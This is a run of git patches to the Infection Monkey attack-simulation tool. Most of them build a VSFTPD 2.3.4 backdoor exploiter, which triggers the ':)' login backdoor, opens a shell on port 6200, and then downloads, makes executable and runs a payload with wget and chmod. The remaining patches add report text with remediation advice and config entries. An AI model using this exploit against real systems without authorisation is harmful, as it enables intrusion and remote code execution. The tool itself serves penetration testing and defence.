From 2b47749385b95890ba9967cf5d50b3eb8519076e Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Mon, 11 Mar 2019 01:50:27 +0100 Subject: [PATCH 001/598] Added a new exploit A new exploit was added to the infection_monkey for the following vulnerability https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor --- monkey/infection_monkey/example.conf | 3 +- monkey/infection_monkey/exploit/__init__.py | 1 + monkey/infection_monkey/exploit/vsftpd.py | 123 ++++++++++++++++++ .../cc/services/config_schema.py | 10 +- monkey/monkey_island/cc/services/report.py | 13 +- 5 files changed, 146 insertions(+), 4 deletions(-) create mode 100644 monkey/infection_monkey/exploit/vsftpd.py diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index b3b44c585..7969efb62 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -41,7 +41,8 @@ "SambaCryExploiter", "Struts2Exploiter", "WebLogicExploiter", - "HadoopExploiter" + "HadoopExploiter", + "VSFTPDExploiter" ], "finger_classes": [ "SSHFinger", diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 0d4300b5f..ce42d6bcc 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -50,3 +50,4 @@ from infection_monkey.exploit.struts2 import Struts2Exploiter from infection_monkey.exploit.weblogic import WebLogicExploiter from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.mssqlexec import MSSQLExploiter +from infection_monkey.exploit.vsftpd import VSFTPDExploiter diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py new file mode 100644 index 000000000..c2cfd003c --- /dev/null +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -0,0 +1,123 @@ +import logging +from logging import getLogger + +import time + +import paramiko +import StringIO +import socket +import sys +import time + +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth +from infection_monkey.model import MONKEY_ARG +from infection_monkey.network.tools import check_tcp_port +from infection_monkey.exploit.tools import build_monkey_commandline +from common.utils.exploit_enum import ExploitType + +LOG = getLogger(__name__) + +__author__ = 'D3fa1t' + +FTP_PORT = 21 +TRANSFER_UPDATE_RATE = 15 +COMMAND = "uname -a" + +class VSFTPDExploiter(HostExploiter): + _TARGET_OS_TYPE = ['linux', None] + EXPLOIT_TYPE = ExploitType.OTHER + + def __init__(self, host): + self._update_timestamp = 0 + super(VSFTPDExploiter, self).__init__(host) + self.skip_exist = self._config.skip_exploit_if_file_exist + + def exploit_host(self): + try: + LOG.info('[*] Attempting to trigger backdoor...') + ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + ftp_socket.connect((self.host.ip_addr, FTP_PORT)) + + # Attempt to login to trigger backdoor + ftp_socket.send(b'USER letmein:)\n') + ftp_socket.send(b'PASS please\n') + time.sleep(2) + ftp_socket.close() + LOG.info('[+] Triggered backdoor') + + except Exception: + LOG.info('[!] Failed to trigger backdoor on %s' , self.host.ip_addr) + + try: + LOG.info('[*] Attempting to connect to backdoor...') + backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + backdoor_socket.connect((self.host.ip_addr, 6200)) + LOG.info('[+] Connected to backdoor on %s:6200', self.host.ip_addr) + command = str.encode("uname -o" + '\n') + backdoor_socket.send(command) + response = backdoor_socket.recv(1024).decode('utf-8') + LOG.info('[+] Response for uname -o: %s', response) + if 'linux' in response.lower().strip(): + #command execution is successful + self.host.os['type'] = 'linux' + else : + LOG.info("Port 6200 opened but failed to execute commands on victim %r ",self.host) + + command = str.encode("uname -m" + '\n') + backdoor_socket.send(command) + response = backdoor_socket.recv(1024).decode('utf-8') + LOG.info('[+] Response for uname -m: %s', response) + if '' != response.lower().strip(): + #command execution is successful + self.host.os['machine'] = response.lower().strip() + else : + LOG.info("Failed to execute command uname -m on victim %r ",self.host) + + src_path = get_target_monkey(self.host) + + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + + + LOG.info('[+] Connected to backdoor on %s:6200', self.host.ip_addr) + + #copy the monkey into the machine + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + dropper_target_path_linux = self._config.dropper_target_path_linux + + #download the monkey + download_command = '/usr/bin/wget %s -O %s;' % ( + http_path, dropper_target_path_linux) + LOG.info("Download_command is %s",download_command) + + command = str.encode(str(download_command) + '\n') + backdoor_socket.send(command) + + #changeit to executable + + execute_command = "/bin/chmod +x %s" % dropper_target_path_linux + LOG.info("Execute_command is %s",execute_command) + + command = str.encode(str(execute_command) + '\n') + + backdoor_socket.send(command) + + + #run the monkey + + LOG.info('[+] Connected to backdoor on %s:6200 to execute our command' , self.host.ip_addr) + + command = str.encode("/tmp/monkey " + '\n') + backdoor_socket.send(command) + LOG.info("Successfully ran monkey on the next box \n") + backdoor_socket.close() + self._exploit_info['Vulnerability'] = {"Success":"True"} + + except Exception: + LOG.info('[!] Failed to connect to backdoor on %s:6200', self.host.ip_addr) + + + return True diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 8d99540bf..703f4ee01 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -91,6 +91,13 @@ SCHEMA = { "HadoopExploiter" ], "title": "Hadoop/Yarn Exploiter" + }, + { + "type": "string", + "enum": [ + "VSFTPDExploiter" + ], + "title": "VSFTPD Exploiter" } ] }, @@ -694,7 +701,8 @@ SCHEMA = { "ElasticGroovyExploiter", "Struts2Exploiter", "WebLogicExploiter", - "HadoopExploiter" + "HadoopExploiter", + "VSFTPDExploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 73ca69b5b..68aaa18ff 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -41,7 +41,8 @@ class ReportService: 'Struts2Exploiter': 'Struts2 Exploiter', 'WebLogicExploiter': 'Oracle WebLogic Exploiter', 'HadoopExploiter': 'Hadoop/Yarn Exploiter', - 'MSSQLExploiter': 'MSSQL Exploiter' + 'MSSQLExploiter': 'MSSQL Exploiter', + 'VSFTPDExploiter': 'VSFTPD Backdoor Exploited' } class ISSUES_DICT(Enum): @@ -253,6 +254,7 @@ class ReportService: else: processed_exploit['type'] = 'hash' return processed_exploit + return processed_exploit @staticmethod def process_smb_exploit(exploit): @@ -288,6 +290,12 @@ class ReportService: processed_exploit['type'] = 'rdp' return processed_exploit + @staticmethod + def process_vsftpd_exploit(exploit): + processed_exploit = ReportService.process_general_creds_exploit(exploit) + processed_exploit['type'] = 'ftp' + return processed_exploit + @staticmethod def process_sambacry_exploit(exploit): processed_exploit = ReportService.process_general_creds_exploit(exploit) @@ -354,7 +362,8 @@ class ReportService: 'Struts2Exploiter': ReportService.process_struts2_exploit, 'WebLogicExploiter': ReportService.process_weblogic_exploit, 'HadoopExploiter': ReportService.process_hadoop_exploit, - 'MSSQLExploiter': ReportService.process_mssql_exploit + 'MSSQLExploiter': ReportService.process_mssql_exploit, + 'VSFTPDExploiter': ReportService.process_vsftpd_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) From 0706bddda551e79a0bf577bacc7ce3b8add507b2 Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Mon, 11 Mar 2019 16:09:09 +0100 Subject: [PATCH 002/598] Added discription and details for repot. Added discription and details about the exploit vsftpd --- monkey/monkey_island/cc/services/report.py | 7 +++- .../cc/ui/src/components/pages/ReportPage.js | 38 +++++++++++++++++-- 2 files changed, 39 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 68aaa18ff..9e5ab1df0 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -58,7 +58,8 @@ class ReportService: WEBLOGIC = 9 HADOOP = 10 PTH_CRIT_SERVICES_ACCESS = 11, - MSSQL = 12 + MSSQL = 12, + VSFTPD = 13 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -293,7 +294,7 @@ class ReportService: @staticmethod def process_vsftpd_exploit(exploit): processed_exploit = ReportService.process_general_creds_exploit(exploit) - processed_exploit['type'] = 'ftp' + processed_exploit['type'] = 'vsftp' return processed_exploit @staticmethod @@ -652,6 +653,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.ELASTIC.value] = True elif issue['type'] == 'sambacry': issues_byte_array[ReportService.ISSUES_DICT.SAMBACRY.value] = True + elif issue['type'] == 'vsftp': + issues_byte_array[ReportService.ISSUES_DICT.VSFTPD.value] = True elif issue['type'] == 'shellshock': issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True elif issue['type'] == 'conficker': diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index b5ab30581..556fbd1a5 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -30,7 +30,8 @@ class ReportPageComponent extends AuthComponent { WEBLOGIC: 9, HADOOP: 10, PTH_CRIT_SERVICES_ACCESS: 11, - MSSQL: 12 + MSSQL: 12, + VSFTPD: 13 }; Warning = @@ -297,20 +298,24 @@ class ReportPageComponent extends AuthComponent { return x === true; }).length > 0 ?
- During this simulated attack the Monkey uncovered {this.state.report.overview.issues.filter(function (x) { return x === true; - }).length} threats: + }).length} threats.:
    {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ? -
  • Stolen SSH keys are used to exploit other machines.
  • : null } +
  • Stolen SSH keys are used to exploit other machines.
  • : null } {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
  • Stolen credentials are used to exploit other machines.
  • : null} {this.state.report.overview.issues[this.Issue.ELASTIC] ?
  • Elasticsearch servers are vulnerable to CVE-2015-1427.
  • : null} + {this.state.report.overview.issues[this.Issue.VSFTPD] ? +
  • VSFTPD is vulnerable to CVE-2011-2523. +
  • : null} {this.state.report.overview.issues[this.Issue.SAMBACRY] ?
  • Samba servers are vulnerable to ‘SambaCry’ ( + Update your VSFTPD server to the latest version vsftpd-3.0.3. + + The machine {issue.machine} ({issue.ip_address}) has a backdoor running at port 6200. +
    + The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523. +

    In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised. + Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command shell on port 6200. +

    + The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor at port 6200. +

    Read more about the security issue and remediation
    here. + +
  • + ); + } + generateElasticIssue(issue) { return (
  • @@ -890,6 +917,9 @@ generateMSSQLIssue(issue) { generateIssue = (issue) => { let data; switch (issue.type) { + case 'vsftp': + data = this.generateVsftpdBackdoorIssue(issue); + break; case 'smb_password': data = this.generateSmbPasswordIssue(issue); break; From 6313ce79334ed040943ba0b259068571a1856366 Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Tue, 12 Mar 2019 12:06:17 +0100 Subject: [PATCH 003/598] Update vsftpd.py --- monkey/infection_monkey/exploit/vsftpd.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index c2cfd003c..c66c2b15a 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -118,6 +118,6 @@ class VSFTPDExploiter(HostExploiter): except Exception: LOG.info('[!] Failed to connect to backdoor on %s:6200', self.host.ip_addr) - + return False return True From 0b3e6274d9b4d7f1834c31cff36d9a623e81545b Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Tue, 12 Mar 2019 12:16:20 +0100 Subject: [PATCH 004/598] Update vsftpd.py Changed the payload from /tmp/monkey to generating payload using build_monkey_commandline --- monkey/infection_monkey/exploit/vsftpd.py | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index c66c2b15a..11a5b3297 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -106,13 +106,16 @@ class VSFTPDExploiter(HostExploiter): backdoor_socket.send(command) - #run the monkey + #run the monkey + cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) + cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + cmdline += "&" - LOG.info('[+] Connected to backdoor on %s:6200 to execute our command' , self.host.ip_addr) - - command = str.encode("/tmp/monkey " + '\n') + command = str.encode(str(cmdline) + '\n') backdoor_socket.send(command) - LOG.info("Successfully ran monkey on the next box \n") + LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, self.host, cmdline) + backdoor_socket.close() self._exploit_info['Vulnerability'] = {"Success":"True"} From dade4daad29e1e10b0217dc8ab73ba701a11eb1f Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Tue, 12 Mar 2019 12:37:09 +0100 Subject: [PATCH 005/598] Update vsftpd.py Removed unused imports, removed hardcoded username and password. Removed EXPLOIT_TYPE Removed NONE in tatget_os_type Reduced time to sleep from 2 to 1 --- monkey/infection_monkey/exploit/vsftpd.py | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 11a5b3297..5819d7d44 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -1,15 +1,11 @@ import logging from logging import getLogger -import time - import paramiko import StringIO import socket -import sys import time -import infection_monkey.monkeyfs as monkeyfs from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth from infection_monkey.model import MONKEY_ARG @@ -23,12 +19,14 @@ __author__ = 'D3fa1t' FTP_PORT = 21 TRANSFER_UPDATE_RATE = 15 -COMMAND = "uname -a" +USERNAME = b'USER letmein:)\n' +PASSWORD = b'PASS please\n' + + class VSFTPDExploiter(HostExploiter): - _TARGET_OS_TYPE = ['linux', None] - EXPLOIT_TYPE = ExploitType.OTHER - + _TARGET_OS_TYPE = ['linux'] + def __init__(self, host): self._update_timestamp = 0 super(VSFTPDExploiter, self).__init__(host) @@ -41,9 +39,9 @@ class VSFTPDExploiter(HostExploiter): ftp_socket.connect((self.host.ip_addr, FTP_PORT)) # Attempt to login to trigger backdoor - ftp_socket.send(b'USER letmein:)\n') - ftp_socket.send(b'PASS please\n') - time.sleep(2) + ftp_socket.send(USERNAME) + ftp_socket.send(PASSWORD) + time.sleep(1) ftp_socket.close() LOG.info('[+] Triggered backdoor') From bb8a1c5c017a7949148a661d9f6cef098aa3e0cb Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Tue, 12 Mar 2019 19:38:48 +0100 Subject: [PATCH 006/598] Updated the exploit. The `.` was removed from reportpage.js and the exploit was modified. --- monkey/infection_monkey/exploit/vsftpd.py | 44 ++++++++----------- .../cc/ui/src/components/pages/ReportPage.js | 2 +- 2 files changed, 20 insertions(+), 26 deletions(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 5819d7d44..86e64953a 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -1,17 +1,15 @@ -import logging -from logging import getLogger - -import paramiko import StringIO -import socket +import logging +import paramiko +import socket import time - +from common.utils.exploit_enum import ExploitType from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port -from infection_monkey.exploit.tools import build_monkey_commandline -from common.utils.exploit_enum import ExploitType +from logging import getLogger LOG = getLogger(__name__) @@ -23,7 +21,6 @@ USERNAME = b'USER letmein:)\n' PASSWORD = b'PASS please\n' - class VSFTPDExploiter(HostExploiter): _TARGET_OS_TYPE = ['linux'] @@ -53,16 +50,7 @@ class VSFTPDExploiter(HostExploiter): backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) backdoor_socket.connect((self.host.ip_addr, 6200)) LOG.info('[+] Connected to backdoor on %s:6200', self.host.ip_addr) - command = str.encode("uname -o" + '\n') - backdoor_socket.send(command) - response = backdoor_socket.recv(1024).decode('utf-8') - LOG.info('[+] Response for uname -o: %s', response) - if 'linux' in response.lower().strip(): - #command execution is successful - self.host.os['type'] = 'linux' - else : - LOG.info("Port 6200 opened but failed to execute commands on victim %r ",self.host) - + command = str.encode("uname -m" + '\n') backdoor_socket.send(command) response = backdoor_socket.recv(1024).decode('utf-8') @@ -70,10 +58,13 @@ class VSFTPDExploiter(HostExploiter): if '' != response.lower().strip(): #command execution is successful self.host.os['machine'] = response.lower().strip() + self.host.os['type'] = 'linux' + else : LOG.info("Failed to execute command uname -m on victim %r ",self.host) src_path = get_target_monkey(self.host) + LOG.info("src for suitable monkey executable for host %r is %s", self.host,src_path) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) @@ -83,16 +74,19 @@ class VSFTPDExploiter(HostExploiter): LOG.info('[+] Connected to backdoor on %s:6200', self.host.ip_addr) #copy the monkey into the machine - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) dropper_target_path_linux = self._config.dropper_target_path_linux + LOG.info("Download link for monkey is %s",http_path) #download the monkey download_command = '/usr/bin/wget %s -O %s;' % ( - http_path, dropper_target_path_linux) + http_path, dropper_target_path_linux) LOG.info("Download_command is %s",download_command) command = str.encode(str(download_command) + '\n') - backdoor_socket.send(command) + backdoor_socket.send(command) + time.sleep(3) # wait till the file is downloaded + LOG.info("waiting 3 seconds for download to be completed") #changeit to executable @@ -108,13 +102,13 @@ class VSFTPDExploiter(HostExploiter): cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) cmdline += "&" - - command = str.encode(str(cmdline) + '\n') + + command = str.encode(str(cmdline) + '\n') backdoor_socket.send(command) + LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, cmdline) - backdoor_socket.close() self._exploit_info['Vulnerability'] = {"Success":"True"} except Exception: diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 556fbd1a5..7dae3f2ed 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -302,7 +302,7 @@ class ReportPageComponent extends AuthComponent { className="label label-warning"> {this.state.report.overview.issues.filter(function (x) { return x === true; - }).length} threats.: + }).length} threats:
      {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ?
    • Stolen SSH keys are used to exploit other machines.
    • : null } From 47baea039ad0a01d066f76cbdab557b9b0e043a0 Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Tue, 12 Mar 2019 19:44:45 +0100 Subject: [PATCH 007/598] Update vsftpd.py Better exception log --- monkey/infection_monkey/exploit/vsftpd.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 86e64953a..c2088514a 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -42,8 +42,8 @@ class VSFTPDExploiter(HostExploiter): ftp_socket.close() LOG.info('[+] Triggered backdoor') - except Exception: - LOG.info('[!] Failed to trigger backdoor on %s' , self.host.ip_addr) + except socket.error as e: + LOG.error('[!] Failed to trigger backdoor on %s' , self.host.ip_addr) try: LOG.info('[*] Attempting to connect to backdoor...') @@ -111,8 +111,9 @@ class VSFTPDExploiter(HostExploiter): self._exploit_info['Vulnerability'] = {"Success":"True"} - except Exception: - LOG.info('[!] Failed to connect to backdoor on %s:6200', self.host.ip_addr) + except socket.error as e: + LOG.error('[!] Failed to connect to backdoor on %s:6200', self.host.ip_addr) + LOG.error('Error Connecting to backdoor. Error: %s' % e) return False return True From 9b0c0d4233c8f34f177c202a7d29a93c80d46e70 Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Tue, 12 Mar 2019 19:51:12 +0100 Subject: [PATCH 008/598] Update vsftpd.py using `ftp_socket.recv(1024).decode('utf-8')` to prevent chances of race conditions --- monkey/infection_monkey/exploit/vsftpd.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index c2088514a..e32f1fd80 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -34,9 +34,10 @@ class VSFTPDExploiter(HostExploiter): LOG.info('[*] Attempting to trigger backdoor...') ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ftp_socket.connect((self.host.ip_addr, FTP_PORT)) - + ftp_socket.recv(1024).decode('utf-8') # Attempt to login to trigger backdoor ftp_socket.send(USERNAME) + ftp_socket.recv(1024).decode('utf-8') ftp_socket.send(PASSWORD) time.sleep(1) ftp_socket.close() From 53f12f4b673acdc52e17c8389c7af24353dd398c Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Tue, 12 Mar 2019 20:53:16 +0100 Subject: [PATCH 009/598] Update ReportPage.js Fix for issue #213 --- .../monkey_island/cc/ui/src/components/pages/ReportPage.js | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 7dae3f2ed..754ded024 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -408,9 +408,9 @@ class ReportPageComponent extends AuthComponent { generateReportRecommendationsSection() { return (
      -

      - Domain related recommendations -

      + {Object.keys(this.state.report.recommendations.domain_issues).length !=0 ? +

      Domain related recommendations

      : null } +
      {this.generateIssues(this.state.report.recommendations.domain_issues)}
      From 01cc702906d5e37a846f8308a14a48a4c138f8f3 Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Wed, 13 Mar 2019 11:31:26 +0100 Subject: [PATCH 010/598] Update vsftpd.py Removed (+,! ) used for debugging. Changed the recv size from 1024 to 128 --- monkey/infection_monkey/exploit/vsftpd.py | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index e32f1fd80..2f072cb7c 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -31,31 +31,31 @@ class VSFTPDExploiter(HostExploiter): def exploit_host(self): try: - LOG.info('[*] Attempting to trigger backdoor...') + LOG.info('Attempting to trigger backdoor...') ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ftp_socket.connect((self.host.ip_addr, FTP_PORT)) - ftp_socket.recv(1024).decode('utf-8') + ftp_socket.recv(128).decode('utf-8') # Attempt to login to trigger backdoor ftp_socket.send(USERNAME) - ftp_socket.recv(1024).decode('utf-8') + ftp_socket.recv(128).decode('utf-8') ftp_socket.send(PASSWORD) time.sleep(1) ftp_socket.close() - LOG.info('[+] Triggered backdoor') + LOG.info('Triggered backdoor') except socket.error as e: - LOG.error('[!] Failed to trigger backdoor on %s' , self.host.ip_addr) + LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr) try: - LOG.info('[*] Attempting to connect to backdoor...') + LOG.info('Attempting to connect to backdoor...') backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) backdoor_socket.connect((self.host.ip_addr, 6200)) - LOG.info('[+] Connected to backdoor on %s:6200', self.host.ip_addr) + LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr) command = str.encode("uname -m" + '\n') backdoor_socket.send(command) - response = backdoor_socket.recv(1024).decode('utf-8') - LOG.info('[+] Response for uname -m: %s', response) + response = backdoor_socket.recv(128).decode('utf-8') + LOG.info('Response for uname -m: %s', response) if '' != response.lower().strip(): #command execution is successful self.host.os['machine'] = response.lower().strip() @@ -72,7 +72,7 @@ class VSFTPDExploiter(HostExploiter): return False - LOG.info('[+] Connected to backdoor on %s:6200', self.host.ip_addr) + LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr) #copy the monkey into the machine http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) @@ -113,7 +113,7 @@ class VSFTPDExploiter(HostExploiter): self._exploit_info['Vulnerability'] = {"Success":"True"} except socket.error as e: - LOG.error('[!] Failed to connect to backdoor on %s:6200', self.host.ip_addr) + LOG.error('Failed to connect to backdoor on %s:6200', self.host.ip_addr) LOG.error('Error Connecting to backdoor. Error: %s' % e) return False From 1587aa2d4c0f2761d3f27534f656ed0a11084649 Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Fri, 15 Mar 2019 12:47:59 +0100 Subject: [PATCH 011/598] Update vsftpd.py --- monkey/infection_monkey/exploit/vsftpd.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 2f072cb7c..6f05ba428 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -19,6 +19,7 @@ FTP_PORT = 21 TRANSFER_UPDATE_RATE = 15 USERNAME = b'USER letmein:)\n' PASSWORD = b'PASS please\n' +DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder class VSFTPDExploiter(HostExploiter): @@ -85,9 +86,9 @@ class VSFTPDExploiter(HostExploiter): LOG.info("Download_command is %s",download_command) command = str.encode(str(download_command) + '\n') - backdoor_socket.send(command) - time.sleep(3) # wait till the file is downloaded - LOG.info("waiting 3 seconds for download to be completed") + backdoor_socket.send(command) + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() #changeit to executable From 525e54115698c9c9f358bcff7430e84a3b96af97 Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Fri, 15 Mar 2019 15:24:17 +0100 Subject: [PATCH 012/598] Update vsftpd.py Replaced sleep with recv, waits for the server to respond instead of sleeping --- monkey/infection_monkey/exploit/vsftpd.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 6f05ba428..bf36adfe0 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -40,7 +40,7 @@ class VSFTPDExploiter(HostExploiter): ftp_socket.send(USERNAME) ftp_socket.recv(128).decode('utf-8') ftp_socket.send(PASSWORD) - time.sleep(1) + ftp_socket.recv(128).decode('utf-8') ftp_socket.close() LOG.info('Triggered backdoor') From 11e6d3807a4b1f18b57065776ebc199f61255800 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 26 Mar 2019 20:09:09 +0200 Subject: [PATCH 013/598] Added custom post breach values to example.conf --- monkey/infection_monkey/example.conf | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index ca8041382..cf79dbccc 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -98,4 +98,8 @@ "victims_max_exploit": 7, "victims_max_find": 30, "post_breach_actions" : [] + custom_PBA_linux_cmd = "" + custom_PBA_windows_cmd = "" + PBA_linux_filename = None + PBA_windows_filename = None } From 1c847ccc0664b88fedb25d7831439145097458dd Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 12 Mar 2019 12:15:10 +0200 Subject: [PATCH 014/598] Att&ck implementation started --- .../src/components/config-components/Att&ck.js | 18 ++++++++++++++++++ .../ui/src/components/pages/ConfigurePage.js | 6 +++++- 2 files changed, 23 insertions(+), 1 deletion(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/config-components/Att&ck.js diff --git a/monkey/monkey_island/cc/ui/src/components/config-components/Att&ck.js b/monkey/monkey_island/cc/ui/src/components/config-components/Att&ck.js new file mode 100644 index 000000000..d5b13b6aa --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/config-components/Att&ck.js @@ -0,0 +1,18 @@ +import React from 'react'; + +// ATT&CK component +class AttackComponent extends React.Component { + constructor(props) { + super(props); + } + + render() { + return ( +
      + ATT&CK component +
